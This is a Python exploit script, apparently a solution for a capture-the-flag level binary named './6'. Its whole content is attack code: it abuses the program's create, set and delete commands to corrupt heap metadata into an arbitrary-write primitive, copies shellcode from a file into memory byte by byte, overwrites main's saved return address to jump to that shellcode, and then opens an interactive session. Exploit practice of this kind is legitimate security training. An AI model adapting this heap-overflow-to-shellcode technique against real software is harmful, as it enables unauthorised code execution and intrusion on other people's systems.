import pexpect
import subprocess
import random
import struct
import sys

ENTRY_N = 0

s = pexpect.spawn('/bin/bash', echo=None)
s.sendline('stty raw intr undef quit undef erase undef kill undef eof undef eol undef start undef stop undef susp undef rprnt undef werase undef lnext undef discard undef min 1 time 0')
s.sendline('./6')

#W = lambda bys: s.send(bys)
W = lambda bys: sys.stderr.buffer.write(bys)
#W = lambda b: None

def writebyte(addr, byte):
    if (byte == b'\x0a'):
        raise ValueError("can't write newline byte!")
    global ENTRY_N
    W(f'create {ENTRY_N} 8\n'.encode('ascii'))
    W(f'create {ENTRY_N + 1} 8\n'.encode('ascii'))
    W(f'create {ENTRY_N + 2} 8\n'.encode('ascii'))
    # we need a valid dummy address, because it (+ 8) will also be written to.
    fake_addr = 0x7fffffff2000 | byte

    addr -= 0x10 # merge_with_next writes 16 bytes further
    overwrite_pack = struct.pack('QQQ', 40, addr, fake_addr)
    if b'\x0a' in overwrite_pack:
        raise ValueError("can't write newline!")
    W(f'set {ENTRY_N} aaaabbbb'.encode('ascii') + overwrite_pack + b'\n')
    W(f'delete {ENTRY_N}\n'.encode('ascii'))
    ENTRY_N += 3

def writebytes(addr, bytes):
    bs = [(n, byte) for n, byte in enumerate(bytes)]
    for n, byte in bs:
        sys.stdout.write('.')
        sys.stdout.flush()
        writebyte(addr + n, byte)
    print()
    print('done.')

shellcode_addr = 0x7fffffff1020

shellcode = open('l6_shellcode.bin', 'rb').read()

writebytes(shellcode_addr, shellcode)

def writeptr(to, addr):
    global ENTRY_N
    W(f'create {ENTRY_N} 8\n'.encode('ascii'))
    W(f'create {ENTRY_N + 1} 8\n'.encode('ascii'))
    W(f'create {ENTRY_N + 2} 8\n'.encode('ascii'))

    to -= 0x10
    overwrite_pack = struct.pack('QQQ', 40, to, addr)
    W(f'set {ENTRY_N} aaaabbbb'.encode('ascii') + overwrite_pack + b'\n')
    input('enter to continue')
    W(f'delete {ENTRY_N}\n'.encode('ascii'))
    ENTRY_N += 3


# delta between main rbp and ret addr to overwrite is 0x100 - 0x8 = 248 bytes.
main_rbp = 0x7fffffffe358

writeptr(main_rbp - 0x100 + 0x8, shellcode_addr)

s.interact()
